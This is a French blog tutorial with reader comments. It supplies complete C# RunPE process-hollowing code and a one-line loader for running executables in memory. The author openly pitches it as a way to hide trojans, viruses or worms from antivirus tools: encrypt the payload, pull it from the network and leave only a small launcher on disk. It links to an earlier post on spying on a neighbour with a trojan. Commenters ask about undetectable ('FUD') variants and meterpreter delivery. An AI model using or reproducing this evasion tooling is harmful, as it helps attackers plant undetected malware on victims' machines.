Exécuter une application en mémoire comme un nul(l)

Grâce à l’un de mes précédents articles, vous avez pu espionner votre belle voisine : Coder un cheval de Troie comme un nul(l).

Mais voilà, à grande échelle, votre cheval de Troie risque fort d’être détecté par les antivirus…

Au cours de cet article, vous verrez comment exécuter une application tierce en mémoire (sans avoir besoin de créer un nouveau fichier exécutable).

Cette méthode permet également un chiffrement quasi-intégral de n’importe quelle application. Elle peut donc être appliquée au développement d’un cheval de Troie, comme à celui d’un virus, d’un ver ou tout autre logiciel malveillant !

Voilà comment je me représente une exécution en mémoire.

Voilà comment je me représente une exécution en mémoire.

Principe

Pour exécuter une application en mémoire, il faut tout d’abord… l’avoir en mémoire. Pour ce faire, vous pouvez au choix :

  • Lire un fichier exécutable et le convertir en un tableau d’octets
  • Recevoir un tableau d’octets par le réseau
  • Générer un tableau d’octets selon un algorithme donné (applications polymorphes)
  • Générer un tableau d’octets en utilisant un autre exécutable chargé en mémoire
  • etc.

Il n’y a de limite que votre imagination !

Une fois le fichier chargé en mémoire, vous aurez besoin de le déplacer dans une zone exécutable. Les systèmes d’exploitation sécurisent la mémoire pour éviter l’exploitation de failles de type buffer overflow. Il faut que notre application demande explicitement une allocation de mémoire exécutable.

Enfin, il faudra modifier les adresses de chaque secteur (bloc assembleur) de la zone exécutable pour qu’elles correspondent aux adresses en mémoire… Vu que c’est un brin compliqué, voici un petit dessin :

Exécuter en mémoire

Notez le décalage des adresses de chaque bloc assembleur du programme à lancer.

Tout est en place, il ne reste qu’à exécuter, sans oublier de spécifier l’adresse de retour pour continuer le cours normal de notre application.

Mise en oeuvre

Pour une meilleure intégration avec le cheval de Troie que vous avez pu coder lors de vos précédentes lectures, j’illustrerai mes propos en C#. Vous pourrez cependant trouver le même type d’implémentation dans d’autres langages.

Une classe pour les gouverner toutes !

Afin de ne pas réinventer la roue, j’utiliserai la classe suivante, glanée sur Internet :

/*
  * Elle vient d'ici : http://pastebin.com/f3DBJ4eR
  */
 using System;
 using System.Runtime.InteropServices;
 internal class RunPE {
     public static void execute(byte[] fBytes, string szParameters, string szTarget) {
         // Creer les ressources necessaires
         IMAGE_DOS_HEADER image_dos_header = new IMAGE_DOS_HEADER();
         IMAGE_NT_HEADERS structure = new IMAGE_NT_HEADERS();
         IMAGE_SECTION_HEADER image_section_header = new IMAGE_SECTION_HEADER();
         STARTUPINFO startupinfo = new STARTUPINFO();
         PROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION();
         CONTEXT lpContext = new CONTEXT();
         // Recuperer l'adresse de debut de la zone memoire
         int num = 0;
         startupinfo.cb = (uint) Marshal.SizeOf(startupinfo);
         lpContext.ContextFlags = 0x10007;
         GCHandle handle = GCHandle.Alloc(fBytes, GCHandleType.Pinned);
         num = handle.AddrOfPinnedObject().ToInt32();
         handle.Free();
         // Recuperer les entetes du fichier
         image_dos_header = (IMAGE_DOS_HEADER) Marshal.PtrToStructure((IntPtr) num, typeof(IMAGE_DOS_HEADER));
         structure = (IMAGE_NT_HEADERS) Marshal.PtrToStructure((IntPtr) (num + image_dos_header.e_lfanew), typeof(IMAGE_NT_HEADERS));
         // Verifier si les entetes correspondent a celles d'un executable
         if ((structure.Signature == 0x4550) && (image_dos_header.e_magic == 0x5a4d)){
             // Recuperer les pointeurs vers les methodes natives de Windows
             _CreateProcess delegateForFunctionPointer = (_CreateProcess) Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibrary("kernel32.dll"), "CreateProcessA"), typeof(_CreateProcess));
             _NtUnmapViewOfSection section = (_NtUnmapViewOfSection) Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibrary("ntdll.dll"), "NtUnmapViewOfSection"), typeof(_NtUnmapViewOfSection));
             _VirtualAllocEx ex = (_VirtualAllocEx) Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibrary("kernel32.dll"), "VirtualAllocEx"), typeof(_VirtualAllocEx));
             _WriteProcessMemory memory = (_WriteProcessMemory) Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibrary("kernel32.dll"), "WriteProcessMemory"), typeof(_WriteProcessMemory));
             _GetThreadContext context2 = (_GetThreadContext) Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibrary("kernel32.dll"), "GetThreadContext"), typeof(_GetThreadContext));
             _SetThreadContext context3 = (_SetThreadContext) Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibrary("kernel32.dll"), "SetThreadContext"), typeof(_SetThreadContext));
             _ResumeThread thread = (_ResumeThread) Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibrary("kernel32.dll"), "ResumeThread"), typeof(_ResumeThread));
             delegateForFunctionPointer(szTarget, szParameters, IntPtr.Zero, IntPtr.Zero, false, CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref startupinfo, out lpProcessInformation);
             section(lpProcessInformation.hProcess, (IntPtr) structure.OptionalHeader.ImageBase);
             // Allouer de la memoire executable
             if (ex(lpProcessInformation.hProcess, (IntPtr) structure.OptionalHeader.ImageBase, structure.OptionalHeader.SizeOfImage, AllocationType.COMMIT | AllocationType.RESERVE, MemoryProtection.EXECUTE_READWRITE)){
                 // Ecrire notre fichier dans la memoire allouee
                 memory(lpProcessInformation.hProcess, (IntPtr) structure.OptionalHeader.ImageBase, fBytes, structure.OptionalHeader.SizeOfHeaders, null);
                 // Modifier les adresses de chaque bloc assembleur
                 for (int i = 0; i <= (structure.FileHeader.NumberOfSections - 1); i++) {
                     image_section_header = (IMAGE_SECTION_HEADER) Marshal.PtrToStructure((IntPtr) (((num + image_dos_header.e_lfanew) + Marshal.SizeOf(structure)) + (Marshal.SizeOf(image_section_header) * i)), typeof(IMAGE_SECTION_HEADER));
                     byte[] lpBuffer = new byte[image_section_header.SizeOfRawData];
                     for (int j = 0; j <= (image_section_header.SizeOfRawData - 1); j++) {
                         lpBuffer[j] = fBytes[(int) ((IntPtr) (image_section_header.PointerToRawData + j))];
                     }
                     memory(lpProcessInformation.hProcess, (IntPtr) (structure.OptionalHeader.ImageBase + image_section_header.VirtualAddress), lpBuffer, image_section_header.SizeOfRawData, null);
                 }
                 // Recuperer l'adresse du point d'entree de l'application a lancer
                 context2(lpProcessInformation.hThread, ref lpContext);
                 byte[] bytes = BitConverter.GetBytes(structure.OptionalHeader.ImageBase);
                 memory(lpProcessInformation.hProcess, (IntPtr) (lpContext.Ebx + 8), bytes, (uint) bytes.Length, null);
                 lpContext.Eax = structure.OptionalHeader.ImageBase + structure.OptionalHeader.AddressOfEntryPoint;
                 // Lancer l'application
                 context3(lpProcessInformation.hThread, ref lpContext);
                 thread(lpProcessInformation.hThread);
             }
         }
     }

     [DllImport("kernel32")]
     private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
     [DllImport("kernel32")]
     private static extern IntPtr LoadLibrary(string lpFileName);

     // Nested Types
     private delegate bool _CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, RunPE.CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref RunPE.STARTUPINFO lpStartupInfo, out RunPE.PROCESS_INFORMATION lpProcessInformation);

     private delegate bool _GetThreadContext(IntPtr hThread, ref RunPE.CONTEXT lpContext);

     private delegate bool _NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);

     private delegate uint _ResumeThread(IntPtr hThread);

     private delegate bool _SetThreadContext(IntPtr hThread, [In] ref RunPE.CONTEXT lpContext);

     private delegate bool _VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, RunPE.AllocationType flAllocationType, RunPE.MemoryProtection flProtect);

     private delegate bool _WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, object lpNumberOfBytesWritten);

     private enum AllocationType : uint
     {
         COMMIT = 0x1000,
         LARGE_PAGES = 0x20000000,
         PHYSICAL = 0x400000,
         RESERVE = 0x2000,
         RESET = 0x80000,
         TOP_DOWN = 0x100000,
         WRITE_WATCH = 0x200000
     }

     [StructLayout(LayoutKind.Sequential)]
     private struct CONTEXT
     {
         public uint ContextFlags;
         public uint Dr0;
         public uint Dr1;
         public uint Dr2;
         public uint Dr3;
         public uint Dr6;
         public uint Dr7;
         public RunPE.FLOATING_SAVE_AREA FloatSave;
         public uint SegGs;
         public uint SegFs;
         public uint SegEs;
         public uint SegDs;
         public uint Edi;
         public uint Esi;
         public uint Ebx;
         public uint Edx;
         public uint Ecx;
         public uint Eax;
         public uint Ebp;
         public uint Eip;
         public uint SegCs;
         public uint EFlags;
         public uint Esp;
         public uint SegSs;
         [MarshalAs(UnmanagedType.ByValArray, SizeConst=0x200)]
         public byte[] ExtendedRegisters;
     }

     private enum CONTEXT_FLAGS : uint
     {
         CONTEXT_ALL = 0x1003f,
         CONTEXT_CONTROL = 0x10001,
         CONTEXT_DEBUG_REGISTERS = 0x10010,
         CONTEXT_EXTENDED_REGISTERS = 0x10020,
         CONTEXT_FLOATING_POINT = 0x10008,
         CONTEXT_FULL = 0x10007,
         CONTEXT_i386 = 0x10000,
         CONTEXT_i486 = 0x10000,
         CONTEXT_INTEGER = 0x10002,
         CONTEXT_SEGMENTS = 0x10004
     }

     private enum CreateProcessFlags : uint
     {
         CREATE_BREAKAWAY_FROM_JOB = 0x1000000,
         CREATE_DEFAULT_ERROR_MODE = 0x4000000,
         CREATE_NEW_CONSOLE = 0x10,
         CREATE_NEW_PROCESS_GROUP = 0x200,
         CREATE_NO_WINDOW = 0x8000000,
         CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x2000000,
         CREATE_PROTECTED_PROCESS = 0x40000,
         CREATE_SEPARATE_WOW_VDM = 0x800,
         CREATE_SHARED_WOW_VDM = 0x1000,
         CREATE_SUSPENDED = 4,
         CREATE_UNICODE_ENVIRONMENT = 0x400,
         DEBUG_ONLY_THIS_PROCESS = 2,
         DEBUG_PROCESS = 1,
         DETACHED_PROCESS = 8,
         EXTENDED_STARTUPINFO_PRESENT = 0x80000,
         INHERIT_PARENT_AFFINITY = 0x10000
     }

     [StructLayout(LayoutKind.Sequential)]
     private struct FLOATING_SAVE_AREA
     {
         public uint ControlWord;
         public uint StatusWord;
         public uint TagWord;
         public uint ErrorOffset;
         public uint ErrorSelector;
         public uint DataOffset;
         public uint DataSelector;
         [MarshalAs(UnmanagedType.ByValArray, SizeConst=80)]
         public byte[] RegisterArea;
         public uint Cr0NpxState;
     }

     [StructLayout(LayoutKind.Sequential)]
     private struct IMAGE_DATA_DIRECTORY
     {
         public uint VirtualAddress;
         public uint Size;
     }

     [StructLayout(LayoutKind.Sequential)]
     private struct IMAGE_DOS_HEADER
     {
         public ushort e_magic;
         public ushort e_cblp;
         public ushort e_cp;
         public ushort e_crlc;
         public ushort e_cparhdr;
         public ushort e_minalloc;
         public ushort e_maxalloc;
         public ushort e_ss;
         public ushort e_sp;
         public ushort e_csum;
         public ushort e_ip;
         public ushort e_cs;
         public ushort e_lfarlc;
         public ushort e_ovno;
         [MarshalAs(UnmanagedType.ByValArray, SizeConst=4)]
         public ushort[] e_res1;
         public ushort e_oemid;
         public ushort e_oeminfo;
         [MarshalAs(UnmanagedType.ByValArray, SizeConst=10)]
         public ushort[] e_res2;
         public int e_lfanew;
     }

     [StructLayout(LayoutKind.Sequential)]
     private struct IMAGE_FILE_HEADER
     {
         public ushort Machine;
         public ushort NumberOfSections;
         public uint TimeDateStamp;
         public uint PointerToSymbolTable;
         public uint NumberOfSymbols;
         public ushort SizeOfOptionalHeader;
         public ushort Characteristics;
     }

     [StructLayout(LayoutKind.Sequential)]
     private struct IMAGE_NT_HEADERS
     {
         public uint Signature;
         public RunPE.IMAGE_FILE_HEADER FileHeader;
         public RunPE.IMAGE_OPTIONAL_HEADER32 OptionalHeader;
     }

     [StructLayout(LayoutKind.Sequential)]
     private struct IMAGE_OPTIONAL_HEADER32
     {
         public ushort Magic;
         public byte MajorLinkerVersion;
         public byte MinorLinkerVersion;
         public uint SizeOfCode;
         public uint SizeOfInitializedData;
         public uint SizeOfUninitializedData;
         public uint AddressOfEntryPoint;
         public uint BaseOfCode;
         public uint BaseOfData;
         public uint ImageBase;
         public uint SectionAlignment;
         public uint FileAlignment;
         public ushort MajorOperatingSystemVersion;
         public ushort MinorOperatingSystemVersion;
         public ushort MajorImageVersion;
         public ushort MinorImageVersion;
         public ushort MajorSubsystemVersion;
         public ushort MinorSubsystemVersion;
         public uint Win32VersionValue;
         public uint SizeOfImage;
         public uint SizeOfHeaders;
         public uint CheckSum;
         public ushort Subsystem;
         public ushort DllCharacteristics;
         public uint SizeOfStackReserve;
         public uint SizeOfStackCommit;
         public uint SizeOfHeapReserve;
         public uint SizeOfHeapCommit;
         public uint LoaderFlags;
         public uint NumberOfRvaAndSizes;
         [MarshalAs(UnmanagedType.ByValArray, SizeConst=0x10)]
         public RunPE.IMAGE_DATA_DIRECTORY[] DataDirectory;
     }

     [StructLayout(LayoutKind.Sequential)]
     private struct IMAGE_SECTION_HEADER
     {
         [MarshalAs(UnmanagedType.ByValArray, SizeConst=8)]
         public byte[] Name;
         public uint VirtualSize;
         public uint VirtualAddress;
         public uint SizeOfRawData;
         public uint PointerToRawData;
         public uint PointerToRelocations;
         public uint PointerToLinenumbers;
         public ushort NumberOfRelocations;
         public ushort NumberOfLinenumbers;
         public uint Characteristics;
     }

     private enum MemoryProtection : uint
     {
         EXECUTE = 0x10,
         EXECUTE_READ = 0x20,
         EXECUTE_READWRITE = 0x40,
         EXECUTE_WRITECOPY = 0x80,
         GUARD_Modifierflag = 0x100,
         NOACCESS = 1,
         NOCACHE_Modifierflag = 0x200,
         READONLY = 2,
         READWRITE = 4,
         WRITECOMBINE_Modifierflag = 0x400,
         WRITECOPY = 8
     }

     [StructLayout(LayoutKind.Sequential)]
     private struct PROCESS_INFORMATION
     {
         public IntPtr hProcess;
         public IntPtr hThread;
         public uint dwProcessId;
         public uint dwThreadId;
     }

     [StructLayout(LayoutKind.Sequential)]
     private struct SECURITY_ATTRIBUTES
     {
         public int length;
         public IntPtr lpSecurityDescriptor;
         public bool bInheritHandle;
     }

     [StructLayout(LayoutKind.Sequential)]
     private struct STARTUPINFO
     {
         public uint cb;
         public string lpReserved;
         public string lpDesktop;
         public string lpTitle;
         public uint dwX;
         public uint dwY;
         public uint dwXSize;
         public uint dwYSize;
         public uint dwXCountChars;
         public uint dwYCountChars;
         public uint dwFillAttribute;
         public uint dwFlags;
         public short wShowWindow;
         public short cbReserved2;
         public IntPtr lpReserved2;
         public IntPtr hStdInput;
         public IntPtr hStdOutput;
         public IntPtr hStdError;
     }
 }

Comme vous pouvez le remarquer, ça semble assez compliqué …

Mais seule la méthode « execute » est réellement intéressante, car le reste ne consiste qu’en déclarations de méthodes partagées Windows (kernel32.dll et consorts) et implémentations de structures de données décrivant les en-têtes d’un fichier.

J’ai commenté cette méthode pour mettre en lumière chaque étape. Vous pourrez aisément y retrouver tous les points que j’ai abordés dans la première partie.

Exporter au format DLL

Pour un meilleur confort, nous compilerons cette classe sous forme d’une librairie partagée (DLL) à l’aide de SharpDevelop.

  1. Fichier => Nouvelle solution
  2. Donnez un nom
  3. Naviguez dans C# => Class Library
  4. Cliquez sur Create
  5. Remplacez le contenu du fichier qui s’ouvre par le code que j’ai donné plus haut.
  6. Naviguez dans Build => Set Configuration => Release
  7. Compilez

Votre DLL se trouve dans le dossier de votre projet sous ./bin/Release/*.

Utiliser la librairie pour exécuter n’importe quoi (Notepad)

Selon notre manière de faire à cette étape, nous pouvons aisément chiffrer notre DLL ainsi que notre exécutable cible.

Tout tient en une seule ligne :

Assembly.Load(File.ReadAllBytes("RunPE-dll.dll")).GetType("RunPE").GetMethod("execute").Invoke(null, new object[] { File.ReadAllBytes("C:\\WINDOWS\\NOTEPAD.EXE"), string.Empty, Application.ExecutablePath });

RunPE-dll.dll est le chemin vers mon fichier DLL. Notez ici que je convertis mon DLL sous forme de tableau d’octets. On peut très facilement stocker la librairie de manière chiffrée sur le disque dur et la déchiffrer en mémoire au moment de l’exécution ! Un scan antivirus sur notre disque ne remarquera strictement rien, et ce même si la signature de notre librairie est recherchée !

RunPE est le nom de la classe.

execute est le nom de la méthode à appeler.

C:\WINDOWS\NOTEPAD.EXE est le nom de l’exécutable à lancer. Encore une fois, cet exécutable est avant tout converti en tableau d’octets, il peut être chiffré, ou tout simplement ne pas se trouver sur le disque ! (tout comme la librairie partagée)

Le meilleur, c’est qu’une fois Notepad lancé, notre lanceur continue son exécution, se termine et disparaît du gestionnaire des tâches ! Nous sommes les heureux possesseurs d’une application fantôme s’exécutant en mémoire ! Les antivirus auront beaucoup de mal à détecter ce type d’exécution.

Conclusion

Si vous chiffrez la librairie et l’exécutable à lancer, la seule partie non chiffrée de l’application sera le lanceur qui, grâce à sa simplicité, n’a que peu de chance d’être détecté par un antivirus.

Pour éviter à votre cheval de Troie une analyse approfondie par des experts, vous pouvez également récupérer la librairie, ainsi que l’exécutable, sur le réseau. Il ne restera alors que le lanceur sur le disque.

Ce type d’exécution est très performant quand il s’agit de contourner les méthodes de protection. Metasploit utilise le même style d’algorithme pour s’exécuter sur l’ordinateur cible.

Logiciel malveillant caché

Parce que je n’ai pas la science infuse : sources

Publicités
À propos

Un informaticien, qui tente de faire comprendre au public que l'informatique n'est pas si compliquée, malgré des acronymes et autres termes obscurs pour faire croire que c'est difficile (et que c'est de votre faute si "ça ne marche pas")

Tagged with: , , , , , , , , , , , , , , , , , ,
Publié dans Algorithmie, Développement, Informatique, Intrusion, Metasploit, Piratage, Windows
13 comments on “Exécuter une application en mémoire comme un nul(l)
  1. piratercommeunnul_fans dit :

    Noob question : How can i compiling this (

    Assembly.Load(File.ReadAllBytes(« RunPE-dll.dll »)).GetType(« RunPE »).GetMethod(« execute »).Invoke(null, new object[] { File.ReadAllBytes(« C:\\WINDOWS\\NOTEPAD.EXE »), string.Empty, Application.ExecutablePath });

    ) to binary(exe) file ?

    • mystcaster dit :

      C’est du C#, il faut que tu inclues cette ligne de code dans une application C# à l’aide, par exemple, de SharpDevelop.

      En règle générale, mon but à travers ce blog n’est pas de vous donner tout cuit des applications qui fonctionnent, mais bien vous faire comprendre les mécanismes et vous donner les billes pour que vous puissiez vous même développer vos propres outils.
      Si vous ne connaissez pas le C#, essayez d’appliquer ce qui est présenté dans cet article à un langage que vous maîtrisez… ou commencez par apprendre les bases du C# 🙂

      Note : une simple recherche de « runpe » sur pastebin vous donnera des codes sources en : VB/C#/C++/ASM/Java et sûrement d’autres. Je n’ai testé que le C#.

    • dont dit :

      Learn to code and understand it, copy paster 😀

      • mystcaster dit :

        Commentaire pertinent. Remarque néanmoins que j’ai commenté la partie fonctionnelle du code récupéré afin de mettre en avant chaque étape.
        J’ai récupéré ce code sur internet car l’implémentation des spécifications système (structures, etc.) peut être rébarbatif… pourquoi donc réinventer la roue lorsque des portions de code fonctionnelles peuvent être récupérées ?
        (Tant qu’on comprend ce que l’on fait…)

  2. speedtouch dit :

    C’est étrange ça ne lance pas notepad chez moi, j’ai mis la ligne dans un c# winform (visual studio) et j’ai fait le DLL via visual studio 2010 également, en débogage je vois que ça va bien dans la classe Run PE mais rien =(

    Une idée ? je vais essayer avec sharpDevelop :/

    • mystcaster dit :

      Bonjour,

      Pour débogguer RunPE, tu peux tenter de l’inclure directement dans ton application (sans passer par un DLL) tu pourrais avoir plus de traces.
      Il faut noter que je l’ai testé sur un ordinateur 32bits, il se peut que cette classe ne fonctionne pas sur un 64bits.
      Tu peux chercher une classe compatible 64bits, il y en a 🙂

      Si tu t’y connais un peu en C#, tu peux aussi adapter RunPE pour supporter un système d’exploitations 64 bits, ça dépendra beaucoup de la DLL que tu vas appeler.

      • speedtouch dit :

        Bonjour,

        J’ai trouvé un code c++ qui marche mais le code est connus par certain AV donc si on veut faire un truc FUD c’est pas évident (si t’as une source envoie moi je prend !).

        Par contre oui en effet sur mon 64 bits ce runPE c# est instable, j’ai réussi à injecter une appli .Net mais pas des appli native windows comme notepad.

        Merci pour ce tuto qui m’a fait découvrir le runPe !

  3. B dit :

    Autant je dois dire que je suis content d’avoir compris et appliqué tous les autres somptueux tuto cependant celui-ci j’ai encore un peu de mal à cerner.

    En clair, cette méthode permet de faire un simple « lanceur » qui va aller chercher par exemple un dll qui va mettre en mémoire un code meterpreter par exemple ?

    • mystcaster dit :

      En gros oui, mais en plus, ça va exécuter ce DLL.
      En soi, ce ne semble pas très intéressant, mais là où ça va être intéressant, c’est que ça peut rendre exécutable un code a priori non exécutable (texte ou autre, chiffré ou non).

      L’exécutable en mémoire sera attaché à un autre exécutable (RunDLL dans notre cas il me semble) pour continuer à s’exécuter, sans laisser de trace évidente dans le gestionnaire des tâches, même si on stoppe le lanceur.
      C’est donc une méthode pour éviter de se faire détecter par les antivirus, voire les systèmes de détection d’intrusion car on peut chiffrer notre exécutable.

  4. Deu dit :

    Pas de problème pour faire le dll.
    J’ai essayé de faire un petit executable pour le lancer cependant j’ai des erreurs avec la ligne suivante :
    Assembly.Load(File.ReadAllBytes(« RunPE-dll.dll »)).GetType(« RunPE »).GetMethod(« execute »).Invoke(null, new object[] { File.ReadAllBytes(« C:\\WINDOWS\\NOTEPAD.EXE »), string.Empty, Application.ExecutablePath });

    Erreurs :

    Le nom ‘Application’ n’existe pas dans le contexte actuel (CS0103) – C:\Users\\Documents\SharpDevelop Projects\hkvk\test\Program.cs:20,182
    Le nom ‘Assembly’ n’existe pas dans le contexte actuel (CS0103) – C:\Users\\Documents\SharpDevelop Projects\hkvk\test\Program.cs:20,5

    Une idée ? :/

  5. koloce dit :

    Mince c’est du C#. Je plaisante.
    J’avais une question si ce type d’exécution est plus rapide que l’accès disque? Je m’explique: imaginons que je veuille créer un serveur web de type CGI, j’ai intérêt à mapper tous les exécutables et appeler la méthode d’exécution lors d’une demande de page ou bien rester sur du bête CreateProcess ( fonction en c pour exécuter un programme) ?

    Je n’avais pas envie d’apprendre parfaitement la structure d’un Pe32 pour pouvoir le recopier en mémoire. Un grand Merci.

    • mystcaster dit :

      Bonjour,

      Pour des raisons de maintenance, je te conseille d’utiliser un CreateProcess.
      Les méthodes présentées ici sont destinées à être utilisées dans des situations bien particulières, comme le piratage.
      L’utilité d’un Pe32 est de pouvoir migrer un processus en mémoire, permettant par exemple de terminer l’exécution du processus initial sans altérer le fonctionnement des processus enfants.
      C’est un peu comme si tu abandonnais tes enfants pour les faire adopter par d’autres parents (que tu choisis).

      A la place d’un createprocess, le C a peut être une gestion de Threads (comme en Java) permettant de lancer un traitement parallèle rattaché au processus principal.
      Tu devrais investiguer de ce côté.

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s

MystCaster
avril 2013
L M M J V S D
« Mar   Mai »
1234567
891011121314
15161718192021
22232425262728
2930  
Catégories
Archives
%d blogueurs aiment cette page :